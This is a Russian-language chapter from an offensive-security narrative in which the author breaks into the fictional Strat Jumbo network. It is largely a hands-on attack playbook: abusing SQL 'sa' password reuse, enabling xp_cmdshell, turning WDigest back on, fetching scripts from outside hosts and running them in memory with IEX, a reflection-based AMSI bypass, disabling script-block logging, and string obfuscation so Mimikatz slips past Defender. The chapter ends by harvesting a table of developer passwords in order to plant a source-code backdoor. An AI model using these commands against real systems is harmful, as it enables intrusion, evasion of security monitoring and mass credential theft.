Глава 10. Наконец свободен

В своей предыдущей главе мы осуществили тщательную разведку выявления баз данных Citrix и даже управились с захватом и взломом пароля для учётной записи службы sqlexpress. На волне этой новой возможности в том мрачном мире, коим является защищённая сетевая среда Strat Jumbo, нам не терпится проверить свой доступ к базе данных Citrix, воспользовавшись нашими недавно полученными учётными данными.

Но придержите своих лошадей! Открытие нового интерактивного сеанса - будь то RDP или NTLM - в неком случайном сервере следует осуществлять осмотрительно, в особенности когда всё отслеживает ATA. Существует небольшая вероятность того, что некоторые администраторы на постоянной основе могут инициировать соединения со своей базой данных при помощи учётной записи sqlexpress и тем самым, подобное поведение не будет отмечаться. Основная ставка состоит в том, что подобная учётная запись применяется исключительно локально для запуска службы базы данных, а всякая попытка открытия удалённого включит лавину предупреждающих сообщений. Такое подозрение ещё больше укрепляется соглашением об именах Strat Jumbo, которое ясно предполагает, что все администраторы обладают особыми учётными записями для осуществления административных задач. К счастью, имеется ряд способов действенного применения таких учётных записей.

Необработанный SQL

Мы уже установили, что весь обмен Active Directory активно контролируется ATA и, возможно, QRadar. Удостоверение подлинности NTLM и Kerberos это коварная территория, наполненная готовыми взорваться при малейшей неточности минами. К счастью, базы данных SQL поддерживают иную схему аутентификации, носящую название локальной аутентификации, причём учётные записи определены на уровне самой базы данных. Локальное удостоверение подлинности строго ограничена самой базой данных: никакие журналы не отправляются в классическое хранилище событий Windows и нет никакого взаимодействия с Active Directory. Многие компании не в состоянии контролировать данный вид активности по причине его абсурдного уровня сложности. Мы почти наверняка сможем получить доступ, не включая никаких предупреждений!

Полученная нами учётная запись sqlexpress ни в коем случае не является локальной учётной записью; это учётная запись AD, применяемая для запуска самого процесса базы данных в её машине. Тем не менее, при настройке базы данных администраторов обычно просят настроить пароль для локальной учётной записи администратора базы данных, получившей название sa. Зачастую этот пароль оказывается тем же самым, что и пароль учётной записи, с которой запущен сам её экземпляр - в данном случае, sqlexpress. Другими словами, мы можем просто войти в базу данных SQL с локальной учётной записью sa, воспользовавшись паролем sqlexpress и незаметно проникнуть в эту сетевую среду.

Доступный в http://bit.ly/2GdxxnJ простой сценарий PowerShell sql_cmdlets.psm1 Джордана Темплтона поможет нам удостовериться в этом предположении. В окне PowerShell мы подготовим объект браузера для загрузки этого сценария и его команд в память:


PS X:\> $browser = New-Object System.Net.WebClient

PS X:\> $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials

PS X:\> IEX($browser.DownloadString("http://bit.ly/2GdxxnJ"))
		

Теперь мы вызываем из только что загруженного сценария Invoke-SqlCommand и предпринимаем попытку подключения к выявленной в Главе 9 базе данных STRAT-CI-03 при помощи учётной записи sa с паролем sqlexpress. Для перечисления баз данных мы исполним простейшую команду EXEC sp_databases:


PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC sp_databases"
DATABASE_NAME   DATABASE_SIZE   REMARKS
Master                   8464
Model                    2624
Msdb                    14592
Testdb                   2560
XenDB_PROD       801981181104
		

Блестяще! Похоже, что учётная запись sa использует то же пароль, что и учётная запись sqlexpress. Найденная база данных XenDB_PROD подтверждает, что мы действительно пребываем в базе данных Citrix, но в ней нам не понадобятся никакие данные; мы просто пользуемся ею в качестве отправной точки. Применяя встроенную в доступную во всех серверах SQL для запуска команд Windows непосредственно в сервере хранимую процедуру мощную команду xp_cmdshell, мы перейдём напрямую к исполнению команд в самом сервере. Эта команда в последних версиях по умолчанию отключена, поэтому сначала мы активируем эту функциональную возможность в своём текущем сервере SQL:


PS X:\> $sql = "EXEC sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure"

PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query $sql
		

Затем мы отправляем те команды, которые мы бы хотели исполнить. Давайте начнём с простой команды net localgroup administrators для перечисления текущих локальных администраторов чтобы убедиться что всё работает как надо (Листинг 10.1).

 

Листинг 10.1. Получение списка администраторов сервера


PS X:\> $command='net localgroup administrators'

PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"
Output
-----------
Administrator
STRATJUMBO\Domain admins
STRATJUMBO\sqlexpress
STRATJUMBO\strat_dbadms
STRATJUMBO\citrix_srv
 	   

Как вам это нравится! Учётная запись sqlexpress, от имени которой в настоящий момент времени запущен процесс базы данных, выступает частью локальной группы администраторов в сервере STRAT-CI-03. В этом сервере мы имеем возможность исполнения команд администраторов, что превращает его в первый сервер, которым мы реально овладели внутри сетевой среды Strat Jumbo.

Владение этой этой базой данных Citrix - решающий шаг для проникновения в глубоко эшелонированную инфраструктуру Strat Jumbo. Помните тот перечень баз данных, к которым мы не смогли получить доступ со своего сервера Citrix из-за защиты межсетевого экрана? Это новости в прошлом. Теперь мы имеем полный доступ к сетевой среде.

Мы можем направлять свои пакеты через расположенный внутри сегмента сетевой среды с более доверенной базой данных STRAT-CI-03 для достижения гораздо большего числа машин. Здесь мы выполняем ping к когда- то недоступной машине STRAT-AK-03 для подтверждения вновь установленного доступа к сетевой среде:


PS X:\> $command='ping /n 1STRAT-AK-03'

PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"
Output
------
Pinging 10.134.0.14 with 32 bytes of data:
Reply from 10.134.0.14: Bytes=32 time<1ms TTL=128 8
		

Мы получили подтверждающий сетевой доступ отклик. Итак, как мы можем применить открываемые этим возможности дабы приблизиться к своей цели проникновения тайным ходом в исходный код Strat Accounting? Мы знаем, что нам, как минимум, требуется доступ на запись в репозиторий этого проекта для внедрения своего потайного хода. Одним из решений было бы овладение учётной записью разработчика, однако мы не надеемся запросто отыскать её в базе данных Citrix. Нам необходимо перейти на более плодородную почву.

Давайте вернёмся к выводу своей команды net localgroup administrators из Листинга 10.1. Приглядитесь повнимательнее, и, я надеюсь, вы обнаружите то, что вижу я:


Output
-----------
Administrator
STRATJUMBO\Domain admins
STRATJUMBO\sqlexpress
STRATJUMBO\strat_dbadms
STRATJUMBO\citrix_srv
 	   

Эта учётная запись citrix_srv та же самая учётная запись Active Directory, которая содержит полномочия администратора над всей фермой сервера Citrix. Давайте повторно напечатаем вывод той команды net localgroup administrators, которую мы исполняли в Главе 5 в одном из имеющихся серверов Citrix:


PS X:\> net localgroup "administrators"

Members
-------------------------------------------------------
Administrator
STRATJUMBO\citrix_srv
STRATJUMBO\Domain Admins
		

Та же самая учётная запись. Тот же самый пароль!

Если мы сможем контролировать эту учётную запись, скорее всего, мы получим контроль над всеми составляющими ферму Citrix серверами, в которой, если вы не забыли, размещаются удалённые сеансы всех разработчиков. Этого должно быть достаточно чтобы предоставить нам доступ к исходному коду Strat Accounting.

В дело вступает Mimikatz!

Mimikatz: волшебная палочка Windows

Mimikatz это инструмент безопасности Windows, разработанный в далёком 2007 году исследователем безопасности Джентилкиви для изучения внутреннего устройства механизма установления подлинности Windows. Он выявил, что после выполнения пользователями регистрации в своих учётных записях Windows, их пароли сохранялись в обратимом формате в имеющемся в памяти процессе LSASS. Применяя недокументированные функции Windows, Mimikatz способен расшифровывать эти пароли и отображать их в открытом виде.

Позднее Microsoft отключил автоматическое сохранение обратимых паролей, однако оставил в памяти NT хэши паролей - которые благодаря порокам протокола удостоверения подлинности NTLM (New Technology LAN Manager) столь же хороши как и пароли в виде открытого текста. Нам даже не требуется взламывать эти хэши, мы просто можем передавать их в качестве учётных данных. Этот дефект составляет суть атак с передачей хэша (pass-the-hash), обходом хэша (overpass-the-hash), ретрансляции NTLM (NTLM relay) и прочих атак; раздел Ресурсы в конце данной главы содержит ссылку, по которой вы можете узнать об этом больше.

Применяемая для удалённого доступа ферма Citrix, подобная той, на которую мы нацелились в настоящее время, как правило, являет собой кипящий суп интерактивных сеансов, а потому мы можем воспользоваться Mimikatz для того, чтобы каждый час собирать из памяти несколько десятков или около того паролей. Будем надеяться, что некоторые из этих учётных записей будут обладать в своих личных папках или историях браузеров соответствующими документами чтобы пролит свет на проблему с названием искомого проекта. Если нам и правда повезёт, мы сможем отыскать учётную запись разработчика с доступом к исходному коду Strat Accounting.

Вот те критически важные этапы, чтобы добиться реализации этого дьявольского плана:

  1. При помощи Mimikatz отследить необходимый пароль для учётной записи citrix_srv в базе данных STRAT-CI-03.

  2. Открыть сеанс администратора в сервере Citrix воспользовавшись учётной записью citrix_srv.

  3. Пожинать хранящиеся в памяти пароли для входящих на протяжении дня пользователей пока мы не получим учётную запись разработчика.

Исполняя Mimikatz

Давайте приступим к этому первому шагу, связанному с запуском Mimikatz в нашей базе данных. Как указывалось ранее, за последнее десятилетие Microsoft отключила хранение обратимых паролей в памяти, запретим поставщика аутентификации, из которого утекали эти учётные записи: WDigest. Что относительно Гостя, тем не менее? Мы снова можем запросто включить его, создав ключ раздела реестра UseLogonCredential и присвоив ему значение 1. Здесь мы выполняем это при помощи команды reg add, выполняемой через процедуру SQL xp_cmdshell:


PS X:\> $command='reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1'

PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"
		

Воспользовавшись этим мы включили WDigest. При следующем подключении к этому серверу учётной записи citrix_srv, её пароль сохранится в обратимом формате, который запросто способен расшифровать Mimikatz. Естественным следующим шагом является поиск способа запуска Mimikatz через наш удалённый доступ SQL и при этом не угодить в ловушку.

В отличии от предыдущих сценариев PowerShell, которые мы могли просто загружать в память при помощи команды Invoke-Expression, Mimikatz написан на C и компилируется либо в исполняемый файл (.exe) или в DLL. Существует множество способов к подходу безопасного исполнения исполняемого файла в удалённой машине. Одна из возможностей состоит в построении нашего собственного исполняемого Mimikatz на основе общедоступного исходного кода, изменении некоторых жёстко кодированных строк, удаления излишних модулей и компиляции всего этого, предоставляя нам исполняемый файл, который должен безопасно выполняться почти везде. Этот подход достаточно трудоёмкий и требует сопровождения дабы не отставать от новых версий Mimikatz, но это отличный способ ознакомиться с внутренним устройством Mimikatz (@Skelsec, совершая подвиг Геркулеса, дошёл до переноса Mimikatz на Python: убедитесь в этом на https://github.com/skelsec/pypykatz/).

Предпочитаемый многими людьми второй вариант это применение оригинального исполняемого файла Mimikatz и его загрузки напрямую в память, поскольку большинство решений обеспечения безопасности плохо снабжены для действенного мониторинга и сканирования областей памяти. Тем не менее, загрузить исполняемый файл в память не так просто как выполнить Invoke-Expression в PowerShell. Исполняемый процесс отличается от запускаемого с диска: требуется пересчитывать большое число адресов, загружать импортируемые библиотеки DLL и их функции, секции кода и данных требуется сопоставлять с определёнными смещениями и так далее. Это достаточно деликатный процесс, который был тщательно изучен и перепрофилирован для обхода антивирусов. Отражающее внедрения DLL, пожалуй, наиболее распространённая реализация исполнения в памяти, и она следует в точности тем же этапам: загружает фрагменты исполняемого файла в правильные секции памяти, вычисляет абсолютные адреса переменных и функций, загружает прочие DLL и разрешает их адреса функций и тому подобное. Когда всё установлено, исполнение запускается созданием нового потока, который указывает на соответствующую точку входа этого теперь исполняемого в памяти файла (Для получения дополнительных сведений об этом методе отсылаем вас к разделу Ресурсы.)

В далёком 2013 году инженер по безопасности Джо "clymb3r" Биалек выпустил первую общедоступную версию сценария PowerShell, который внедряет DLL Mimikatz непосредственно в память при помощи отражающее внедрения DLL. Его сценарий Invoke-Mimikatz остаётся одним из самых надёжных способов выполнения Mimikatz внутри локальной переменной, поэтому нам требуется либо изменить исходный сценарий и заменить жёстко кодированный исполняемый файл более новой версией Mimikatz, либо взять полностью обновлённый сценарий Invoke-Mimikatz.ps1 из репозитория Empire. Мы пойдём последним путём.

Давайте проверим этот сценарий в своей лаборатории в аналогичной базе данных Citrix машине. Для загрузки необходимого сценария Invoke-Mimikatz мы воспользуемся командой Invoke-Expression, затем исполним этот сценарий для загрузки в горячем режиме Mimikatz в память:


PS C:\Lab > $browser = New-Object System.Net.WebClient
PS C:\Lab > $file="https://sf-res.com/Invoke-mimi.ps1"
PS C:\Lab > IEX($browser.DownloadString($file))
IEX : At line:1 char:1

+ function Invoke-Mimikatz
+ ~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software...
		

Эх?! Windows Defender всё равно перехватывает это! Помните как специалисты по безопасности громко и слегка высокомерно заявляли, что антивирусные продукты способны сканировать лишь файлы на диске, а потому их просто обходить? Попробуйте сказать в наши дни это на хакерской конференции без того чтобы кто- нибудь не ткнул вам в нос брошюру о каком- то продукте "нового поколения". Даже Microsoft повысила ставку в своей игре, представив собственную функциональную возможность с названием AMSI начиная с выпуска Windows 10 и Server 2016. Как кратко упоминалось в Главе 8, AMSI это механизм, который перехватывает команды сценариев непосредственно перед их исполнением и отправляет их для анализа антивирусу. Неважно, был ли этот сценарий загружен с диска, из реестра или из памяти, потому как AMSI действует на уровне механизма сценария. Это также означает, что подобные base64 и шифрованию времени исполнения классические методы запутывания помогут лишь в ограниченной степени и, в зависимости от модели отличительных признаков лежащего в основе антивируса, не смогут обеспечить защиту от обнаружения.

AMSI к тому же является той причиной, по которой я так настаивал на удалении всех лишних команд и подозрительных строк из исходных сценариев PowerView и Invoke-Kerberoast . Теперь настало время обратиться к нашему слону в комнате раз и навсегда.

Борьба с AMSI

Нам требуется обойти ANSI чтобы иметь возможность загрузить Mimikatz в память. Поскольку в своём огороде мы являемся администраторами, мы можем просто отключить AMSI воспользовавшись встроенной командой Set-MpPreference (доступной исключительно в режиме с повышенными правами):


PS C:\> Set-MpPreference -DisableIOAVProtection $true
		

Однако, если мы исполним эту команду, мы должны ожидать регистрации сообщения с идентификатором события 5100, передаваемого в SIEM QRadar и почти несомненно того, что оно отслеживается на предмет выдачи предупреждения. Не слишком скрытно.

К счастью, у нас имеется иной вариант, который должен вызывать намного меньше шума. Таковой был разработан Мэттом Грэбером, воспользовавшимся методикой всемогущего отражения и придумавшим команду в одну строку для отключения AMSI, которую он опубликовал в Twitteer (естественно, она была удалена, но показана на Рисунке 10.1 - [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('a msiInitFailed','NonPublic,Static').SetValue($null,Strue)).

 

Рисунок 10.1


Удалённый твит Мэтта Гребера

Другой вариант можно отыскать в интересной компиляции обхода (с любезного разрешения Сэма Рэйтаншока) находящегося в папке Bypass в файле Invoke-AmsiBypass.ps1 .

Методика Мэтта Гребера основывается на занимательном наблюдении: в процессе инициализации AMSI, класс AmsiUtils проверяет значение переменной amsiInitFailed, содержащей Булеву величину, сообщающую нам загружены ли все модули надлежащим образом. Если, воспользовавшись отражением мы установим эту переменную в значение True, мы сможем убедить AMSI что он не загрузился, действенно отключая его для всего оставшегося сеанса PowerShell. Самое лучшее в этом состоит в том, что данный трюк не требует привилегий администратора. Сначала мы хватаем ссылку на класс AmsiUtils, вызывая метод [Ref].Assembly.GetType, в точности как мы делали это в Главе 8 для отключения ведения журнала PowerShell:


PS C:\> $utils = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
		

Затем мы выполняем выборку ссылки на значение атрибута amsiInitFailed и устанавливаем его в True. Во избежание какого бы то ни было полагающегося на лёгкое соответствие шаблону обнаружения мы пробрасываем это в небольшой конкатенации строки:


PS C:\> $field = $utils.GetField('amsi'+'InitF'+'ailed','NonPublic,Static')
PS C:\> $field.SetValue($null,$true)
		

Вслед за этими командами и всё ещё в своей лаборатории мы пробуем загрузить Mimikatz в памяти ещё раз, применяя сценарий Invoke-Mimikatz (как это показано в Листинге 10.2).

 

Листинг 10.2. Успешное исполнение Mimikatz после отключения AMSI


PS C:\Lab> $browser = New-Object System.Net.WebClient
PS C:\Lab> $file="https://sf-res.com/Invoke-mimi.ps1"
PS C:\Lab> IEX($browser.DownloadString($file))
PS C:\Lab> Invoke-Mimikatz

  .#####.  mimikatz 2.2.0 (x64) #19041 Oct 4 2020 10:28:51
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ## /*** Benjamin DELPY `gentilkiwi
 ## \ / ##      > https://blog.gentilkiwi.com/mimikatz
 '## v ##'      Vincent LE TOUX
  '#####'       > https://pingcastle.com
Authentication Id : 0 ; 1373617 (00000000:0014f5b1)
Session           : Interactive from 1
User Name         : administrator
Domain            : LAB

Logon Time        : 03/01/2021 11:13:11
SID               : S-1-5-21-1818376838-2334902-1555214-1002
        msv :
         [00000003] Primary
         * Username : administrator
         * Domain   : LAB
         * NTLM     : d03fe67884dfeabc43f48a67fdcefcaa
--snip--
 	   

Наконец- то успех. Нам удалось отключить AMSI и мы готовы собирать пароли при помощи Mimikatz в своей тестовой машине. Теперь мы можем перейти к исполнению своего сценария в базе данных Strat Jumbo. Однако, если вы сделаете это, вы обнаружите, что воспроизведение данного сценария в более поздней версии, скажем в Windows 10 Desktop 10.0.18363 - приводит к тому, что Defender выдаёт симпатичное небольшое предупреждение, которое, скорее всего, испортит даже любимый вами десерт. Это предупреждение выдаётся лишь тогда, когда исполнение переходит к Mimikatz, поэтому, вероятно, оно не имеет ничего общего со сценарием Invoke-Mimikatz. Это занятное поведение антивируса, а потому, на всякий случай, давайте определим что может вызывать такое предупреждение и отыщем способ его обхода.

Выявляя преступника

Всегда бывает хитроумным в точности выявить переключатель предупреждения антивируса, но мы способны попытаться в точности определить тот момент, когда Defender издаёт предупредительный сигнал, воспользовавшись доверенными службами отладчика, например, x64dbg. Отладчик поможет проверить нам каждую исполняемую ЦПУ инструкцию и, надеюсь, определить что предупреждает Defender.

Наверняка нам придётся многократно провоцировать Defender чтобы навести на раздражающие инструкции. Для ускорения этого процесса мы отключим возможность Defender удалять Mimikatz, тем самым мы сможем быстро перезагружать его исполняемый файл из x64dbg снова и снова, вместо того чтобы всякий раз загружать новую версию, распаковывать её и тому подобное.

С этой целью мы поместим исполняемый файл Mimikatz в общую папку, располагающуюся в другом компьютере. Эта общая папка будет поддерживать доступ только на чтение, раз уж мы монтируем её в своём лабораторной машине. Даже самый привилегированный администратор нашего компьютера не сможет изменять содержимое этой удалённой папки, так как её полномочия ограничены самим удалённым компьютером.

Затем мы загружаем Mimikatz в отладчик при помощи стандартной команды меню File > Open и позволяем ему работать без прерываний. Это простое исполнение в памяти всё ещё заставляет Defender жаловаться но, по крайней мере, мы в данный момент рады обнаруживать такое всплывающее предупреждение. Это означает, что хотя наш сценарий и не совсем соответствует отражающей загрузке с применением Invoke-Mimikatz.ps1, всё же оно обладает достаточным сходством чтобы превратить наше изыскание в стоящее свеч.

Мы перезапускаем Mimikatz в отладчике (Debug > Restart), но на этот раз тщательно шагаем по каждой инструкции (F8) пока медленно и мучительно не достигаем той области кода, которая совпадает с выдачей предупреждения Defender. После череды проб и ошибок мы выявляем, что всякий раз, когда ЦПУ останавливается где- то в районе отражённого на Рисунке 10.2 кода, Defender крякает.

 

Рисунок 10.2


Та область кода, которая включает Defender

Вам не нужно быть волшебником в дизассемблировании чтобы догадаться что делают эти строки. Если вы обратите внимание на правую часть данного рисунка, вы обнаружите знакомый набор строк, отображаемых Mimikatz при его запуске. Это тот код, который отображает традиционное приветствие Mimikatz, с которым мы уже знакомы и, скорее всего, именно эти строки хранятся в Defender. Последующее расследование показывает ещё одну область, которая включает Defender: ту часть, в которой Mimikatz начинает загружать свои модули и команды (sekurlsa, logonpasswords и т.п.). По сути, сканирование в памяти Defender просто выполняет то, что осуществляет его дисковый компонент и всякий проклятый антивирус: сопоставление строк.

Уклоняясь от сопоставления строк

Если мы сможем изменить некоторые из этих уличающих нас строк внутри Mimikatz перед его загрузкой, мы полностью обойдём Defender. Естественно, мы бы могли изменить данные строки на уровне исходного кода, но тогда нам пришлось бы вручную отслеживать всякий новый выпуск. Гораздо проще подправить эти строки в самом Invoke-Mimikatz. Именно это я и выполнил в своём индивидуальном сценарии.

Прокрутите его до строки 2555, где начинается вызывающая предупреждение строка и я расскажу вам про этот код.

Мы начинаем с определения перечня ключевых слов и их новых благополучных альтернатив. Такие строки замещения обязаны иметь ту же самую длину во избежание видоизменение структуры исполняемого файла. Я позаимствовал вызывающих раздражение ключевых слов из проекта Reflect-pe, который применяет ту же самую технику для загрузки произвольного исполняемого файла в память. Его полный список содержит 14 критически важных ключевых слов для замены. В этом примере я покажу лишь два, mimikatz и gentilwiki с безобидной заменой их:


$hash = @{"mimikatz" = "yolokity", "gentilkiwi" = "miniorange"}
 	   

Далее мы готовим свои кодирующие фильтры для верного форматирования строк в массивы байт. В Windows по умолчанию настроен Unicode, поэтому выглядящая как mimi строка на самом деле хранится как \x00m\x00i\x00m\x00i. Класс [system.Text.Encoding]::Unicode поможет нам преобразовывать обычные строки в массивы байт Unicode.

Однако, имеется проблема: PowerShell поддерживает только метод поиска соответствия и замены со строками, поэтому нам придётся преобразовывать свои массивы обратно в строки. Последующее усложнение состоит в том, что .NET, совершая ещё один блестящий подвиг, теряет байт \x00 в процессе обычного преобразования строки. Например, Unicode \x00m, к примеру, преобразуется в однобайтовую букву m, что производит сдвигает смещения внутри изменяемого исполняемого файла и искажает его структуру. Поэтому нам требуется применять особую кодировку с названием ISO/28591 {Прим. пер.: точнее, ISO-8859-1, 28591 - применяемый в Windows номер кодовой страницы, используется для кодирования в 8 бит практического большинства алфавитов с латиницей.}, которая сбережёт эти драгоценные байты \x00, что позволит преобразовать строки в байты без усечения. В Листинге 10.3 приведён код для перебора нашего перечня уличающих слов и замены каждого из них новой безобидной версией:

 

Листинг 10.3. Запутывающий код


  $uni = [system.Text.Encoding]::Unicode
  $Encoder = [System.Text.Encoding]::GetEncoding(28591)
1 $binary_text = $Encoder.GetString($PEBytes)
2 $hash.Keys | ForEach-Object {
     $old = $Encoder.GetString($uni.GetBytes($_))
     $new = $Encoder.GetString($uni.GetBytes($hash.Item($_)))

      $ binary_text = $ binary_text -replace $old, $new
  }
  # Мы преобразовываем полученный результат обратно в массив байт
  $PEBytes = $Encoder.GetBytes($binary_text)
 	   

В самых первых двух строках мы готовим кодировщики Unicode и ISO/28591; затем мы загружаем исполняемый файл Mimikatz изначально хранимый в качестве массива байт, PEBytes в строку с названием $binary_text1. Мы обходим в цикле массив ключевых слов для замены2, преобразовываем их в Unicode, затем получаем представляющую их строку при помощи ISO/28591 перед исполнением классической замены строки в PowerShell.

Будь ты проклят, PowerShell, и твоя бесполезная сложность ... но хорошая новость в том, что это работает. Давайте испробуем.

Вы заметите, что в сценарии Invoke-mimi.ps1, примерно в строке 2610, мы заменили распространённые команды sekrulsa и logonpasswords на sekelssa и Passlogonwords, поэтому, естественно, нам требуется соблюдать это изменение при вызове нового Invoke-Mimikatz:


PS C:\Lab> $browser = New-Object System.Net.WebClient
PS C:\Lab> $file="https://sf-res.com/Invoke-mimi.ps1"
PS C:\Lab> IEX($browser.DownloadString($file))
PS C:\Lab> Invoke-Mimikatz -command "privilege::debug sekelssa:: Passlogonwords"
		

Когда мы исполним эту новую версию Invoke-Mimikatz, мы не получим ни одной активности от Defender.

Окончательный сценарий

Напомним, что когда мы объединим процедуру обхода регистрации записей блоков строк, отключения AMSI и обманывающего сценария Invoke-Mimikatz, получаемый результат выглядит примерно так, как это отражено в Листинге 10.4:

 

Листинг 10.4. Окончательное сочетание процедуры обхода регистрации записей блоков сценария, отключения AMSI а также запутывающего сценария Invoke-Mimikatz


$utils = [ref].Assembly.GetType('System.Management.Automation.Utils') 1

$dict = $utils."GetF`Ield"('cachedGroupPolicySettings', 'NonP'+'ublic,Static')

$key = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\
ScriptBl"+"ockLogging"

$dict.getValue("")[$key]['EnableS'+'criptBlockLogging'] = 0

# Отключение AMSI
$utils = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils') 2

$field = $utils.GetField('amsi'+'InitF'+'ailed','NonPublic,Static')

$field.SetValue($null,$true)

# Создаём новый запрос браузера
$browser = New-Object System.Net.WebClient; 3

# Копируем установки прокси
$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials; 4

# Выгружаем Invoke-mimi.ps1 (mimikatz) и исполняем его в памяти
IEX($browser.DownloadString('https://sf-res.com/Invoke-mimi.ps1')); 5

Invoke-Mimikatz -command "privilege::debug sekelssa:: Passlogonwords";
 	   

Вначале мы отключаем регистрацию записи блоков сценариев1, затем, как это обсуждалось ранее, мы отключаем AMSI2. Мы создаём новый запрос браузера3 и копируем имеющиеся настройки прокси в случае, если существуют ограничения на исходящие запросы в Интернет4. Наконец, мы выгружаем Invoke-mimi.ps1, наш выставленный ранее персональный сценарий Invoke-Mimikatz и исполняем его а памяти5.

Здесь я хотел бы подчеркнуть, что всякий обход антивируса уникален. Большинство классических антивирусных продуктов в основном полагаются на сканирование файлов на диске, поэтому унифицированный Invoke-Mimikatz безо всей этой маскировки строк отработает нормально. Прочие, подключающиеся к AMSI, смогут перехватывать команды сценария, поэтому, прежде чем осуществлять какие бы то ни было махинации, вам следует отключить AMSI. Прочие, подобные Defender, перехватывают некоторые системные события и сканируют входные буферы на наличие строк из их чёрного списка. Существует также ещё более продвинутый антивирус, который отслеживает общее поведение системы, но об этом позднее.

Исполнение сценария

Теперь, когда мы разобрались с проблемой Defender, давайте вернёмся в своему первоначальному плану: запуску Mimikatz в базе данных Citrix для сброса пароля citrix_srv.

Обычный способ удалённого исполнения сценария в базе данных это сначала закодировать его в base64, а затем исполнить его через xp_cmdshell при помощи следующей команды:


Sql> EXEC xp_cmdshell "powershell.exe -enc <encoded_script>"
		

Хотя это выглядит как надёжный метод, который облегчает бо́льшую часть проблем, связанных с экранированием кавычек и квадратных скобок в PowerShell, его широкое применение большим числом вредоносных программ превратило данную команду в очевидный красный флаг, активно отслеживаемый многими продуктами безопасности. Поэтому я считаю целесообразным применять совсем иную технику для достижения того же самого результата.

Вместо того, чтобы хранить наш свой сценарий в файле или реестре, либо кодирования его в base64, мы сохраним его в переменной среды в удалённой базе данных, воспользовавшись командой set:


Sql> $command="set cmd=$utils=[ref].Assembly.Get[...];Invoke-Mimikatz;"
		

Затем нужно просто получить эту переменную из PowerShell и исполнить её содержимое при помощи выглядящего менее подозрительным переключателя команды switch:


Sql> $command= $command + ' && powershell -command "(get-item Env:cmd).value | iex"'
		

Потом мы встраиваем свою хранящую нашу полезную нагрузку переменную $command в запрос SQL и исполняем его в соответствующей удалённой базе данных при помощи xp_cmdshell:


PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"

#####. mimikatz 2.2.0 (x64) #19041 Oct 4 2020 10:28:51
--snip--
       * NTLM: 9fd4a98df7c6a20a6fcdad2453202b3d
       * SHA: 678a427defa30ce7cdd1ad814f43d3fc68531d16
tspk:
wdigest:
* Username: citrix_srv
* Domain : STRATJUMBO
* Password: Fr1ends!09
--snip--
		

И, о чудо, мы получили пароль citrix_srv!

Собираем свои трофеи

Теперь мы можем получить доступ и посмотреть что мы можем стырить. Для открытия нового сеанса в соответствующем сервере Citrix мы воспользуемся учётной записью citrix_srv, как это видно на Рисунке 10.3. Поскольку мы теперь являемся частью группы администраторов, мы более не выступаем объектом политик AppLocker, а следовательно и режима с ограничениями языка PowerShell. Оба ограничения сказочно улетучились - не то чтобы они нас сильно беспокоили, но теперь это, несомненно, существенно упрощает нам жизнь.

 

Рисунок 10.3


Новый сеанс в сервере Citrix

Мы получили сокровищницу новых приложений, доступных в этом новом сеансе, от RDP до File Explorer. Что предпринять дальше? Мы могли бы, к примеру, проверить прошлые или сохранённые подключения в приложении RDP и ограничивать своё смещение в сторону теми машинами, в которых обычно размещаются интерактивные сеансы, принадлежащие учётной записи citrix_srv, тем самым, избегая выявления ATA необычного поведения. Как вы можете наблюдать на Рисунке 10.3, подключения RDP для трёх серверов закреплены, а потому они должны быть безопасными целями. Мы можем сделать вывод, что эта учётная запись в основном применяется для управления серверами XenApp: STRAT-CI-01, STRAT-CI-02 и STRAT-CI-03. Это может показаться не столь значительным, но это ещё два сервера, которыми мы можем пользоваться для сбора урожая паролей недавно подключившихся пользователей.

Мы переходим к заключительному этапу своего плана по сбору паролей разработчиков. Мы открываем в STRAT-CI-01 сеанс PowerShell с полномочиями администратора, отключаем ведения журнала блоков сценариев и AMSI, затем снова запускаем Mimikatz. Вот фрагмент того что мы находим:


--snip--
* NTLM: 51e88401c8b300abcf3346e4d46a5ce7
* SHA: 8d8a26a1381b3d2b9327791e89f1e46cd1708ad2
tspk:
wdigest:
  * Username: mozzy.caffrey
  * Domain  : STRATJUMBO
  * Password: 12Drumbeat!
 	   

Потребовалось какое- то время сюда добраться, но мы наконец- то начали овладевать некоторыми учётными записями! Мы перезапускаем Mimikatz ещё пару раз в течение последующих нескольких часов чтобы не торопясь заполнить учётные данные почти для всех своих групп разработчиков, что отображено в Таблице 10.1.

Таблица 10-1. Имена пользователей и пароли группы разработчиков
Группа Имя пользователя/ пароль

SNOW

jack.bosa/Spa98row!%

YGRITTE

lizzie.dutch/Holi_day_213

CERSEI

mozzie.caffrey/12Drumbeat!

lucilla.silvy/Greyjoy*1

TYRION

нет

DAENERYS

cassini.morini/Dragons*fire

RHAEGAR

janet.mcentire/ Molly_Dorian10

rodolpho.schwatz/Great*Gatsby0

TYWIN

нет

BAELISH

нет

TORMUND

ron.bilius/AkRiV€ra9

richard.darwin/Greatest-Show-3ver!

ARYA

laura.stevens/5YadorChan09

monica.fourb/WishYouHere*B

Дабы увеличить свои шансы и ускорить процесс, мы запускаем аналогичные команды в своих следующих двух серверах XenApp. Теперь у нас имеются учётные сведения для законных учётных записей разработчиков. Мы как никогда ранее готовы отыскать необходимый нам проект Strat Accounting и надеемся воспользоваться одной из этих учётных записей для внедрения своего желанного потайного хода.

